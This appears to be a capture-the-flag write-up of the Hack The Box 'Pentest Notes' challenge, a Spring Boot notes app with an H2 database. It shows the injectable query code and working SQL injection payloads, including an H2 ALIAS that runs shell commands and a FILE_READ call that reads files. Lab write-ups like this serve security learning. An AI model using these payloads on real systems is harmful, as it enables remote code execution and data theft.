Skip to content

Hack The Box | Pentest Notes

In this walkthrough, we will be going through the Pentest Notes box on Hack The Box.

Room Banner

Successfully Pwned Pentest Notes

Completed and pwned this challenge on Hack The Box.

Owned

Hack The Box

Pwned

Box description

People-first web application projects are always a boring, like a note or a tic tac toe game, so I have created an upgraded version called 'Pentest Note'!

Challenge Description

This challenge presents us with a web application built using Spring Boot, which provides a simple interface for registration and login. Upon logging in, we are shown three notes:

Pentest Checklist

Clicking on each note redirects us to a page displaying the content of that specific note:

Pentest Note

Code Review

NoteController.java

The NoteController.java file handles note retrieval based on a name parameter passed in an HTTP request:

java
@RestController
@RequestMapping("/api")
public class NotesController {

    [...]

    @PostMapping("/note")
    public ResponseEntity < ? > noteByName(@RequestParam String name, HttpSession httpSession) {
        if (httpSession.getAttribute("username") == null) {
            return ResponseEntity.status(HttpStatus.UNAUTHORIZED).body("unauthorized");
        }
        if (name.contains("$") || name.toLowerCase().contains("concat")) {
            return ResponseEntity.status(HttpStatus.FORBIDDEN).body("Bad character in name :)");
        }
        String query = String.format("Select * from notes where name ='%s' ", name);
        List < Object[] > resultList = entityManager.createNativeQuery(query).getResultList();
        List < Map < String, Object >> result = new ArrayList < > ();
        for (Object[] row: resultList) {
            Map < String, Object > rowMap = new HashMap < > ();
            rowMap.put("ID", row[0]);
            rowMap.put("Name", row[1]);
            rowMap.put("Note", row[2]);
            result.add(rowMap);
        }
        return ResponseEntity.ok(result);
    }
}

Key Observations:

  • The noteByName method takes in a name parameter and checks if the user is logged in. If not, it returns an unauthorized response.
  • It further checks if the name parameter contains the character $ or the term concat, blocking requests containing either.
  • The name parameter is then passed directly into a SQL query without sanitization, making the query vulnerable to SQL Injection.

Aplication.properties

The application uses an H2 in-memory database to store the notes, as indicated by the configuration in application.properties:

properties
spring.application.name=PentestNotes
spring.datasource.url=jdbc:h2:mem:notedb
spring.datasource.driverClassName=org.h2.Driver
spring.jpa.database-platform=org.hibernate.dialect.H2Dialect
spring.jpa.defer-datasource-initialization=true
spring.http.encoding.charset=UTF-8
spring.mvc.view.charset=UTF-8

Searching for H2 database and SQL injection references online, we find an h2-exploit script that can assist in exploiting this vulnerability.

Exploitation - SQL Injection

Initial Testing

To verify the SQL injection vulnerability, we send a request with a payload containing a single quote ' in the name parameter. This generates an error, confirming that the input is processed directly in the SQL query.

Proof of Concept (PoC)

To test further, we use a classic SQL injection payload:

sql
1' or '1'='1

The application returns the following response:

[
    {
        "Note" : "One  ' to rule them all",
        "ID" : 1,
        "Name" : "SQL Injection"
    },
    {
        "Note" : "Script alert 1 !!!!!!!!!",
        "ID" : 2,
        "Name" : "Cross Site Scripting"
    },
    {
        "Note" : "IDK, can you tell me?                   ¯\\_(ツ)_/¯",
        "ID" : 3,
        "Name" : "Skill issue"
    }
]

The response reveals that the injection successfully bypassed the query, displaying all notes in the database. This confirms the SQL injection vulnerability.

Creating an Alias for Code Execution

To fully exploit this, we can use H2’s ALIAS feature to create a Java alias that allows command execution. However, since $ is restricted in the name parameter, we modify the typical alias creation syntax by using ' instead of $.

Modified Alias Creation:

sql
CREATE ALIAS EXECVE AS 'String execve(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\\\A"); return s.hasNext() ? s.next() : "";  }'; -- -

Using the following SQL injection payload, we inject the alias into the database:

sql
1'; CREATE ALIAS EXECVE AS 'String execve(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\\\A"); return s.hasNext() ? s.next() : "";  }'; -- -

Upon receiving a 200 OK response, we confirm that the alias was successfully created.

Executing Commands with the Alias

With the alias created, we can now use UNION SELECT to invoke EXECVE and execute system commands. For example, to list the root directory and locate the flag, we use:

sql
1' UNION SELECT NULL, NULL, EXECVE('ls /') --

The response shows:

[
    {
        "Note" : "app\nbIK4tYUmPNmp_flag.txt\nbin\nboot\ndev\netc\nhome\nlib\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsrv\nsys\ntmp\nusr\nvar\n",
        "ID" : null,
        "Name" : null
    }
]

This output reveals the flag file bIK4tYUmPNmp_flag.txt.

Reading the Flag file

To read the contents of bIK4tYUmPNmp_flag.txt, we use the following payload:

sql
1' UNION SELECT NULL, NULL, EXECVE('cat /bIK4tYUmPNmp_flag.txt') --

Alternatively, we can also use H2’s built-in file_read() method to read files, along with the cast() method to convert the output to a string format:

sql
1' UNION SELECT NULL, NULL, CAST(FILE_READ('/bIK4tYUmPNmp_flag.txt', NULL) AS VARCHAR) --

The response:

[
    {
        "Note" : "HTB{f4k3_fl4g_f0r_t35t1ng}",
        "ID" : null,
        "Name" : null
    }
]

We successfully retrieved the fake flag! We can now use the same technique to get the real flag.

References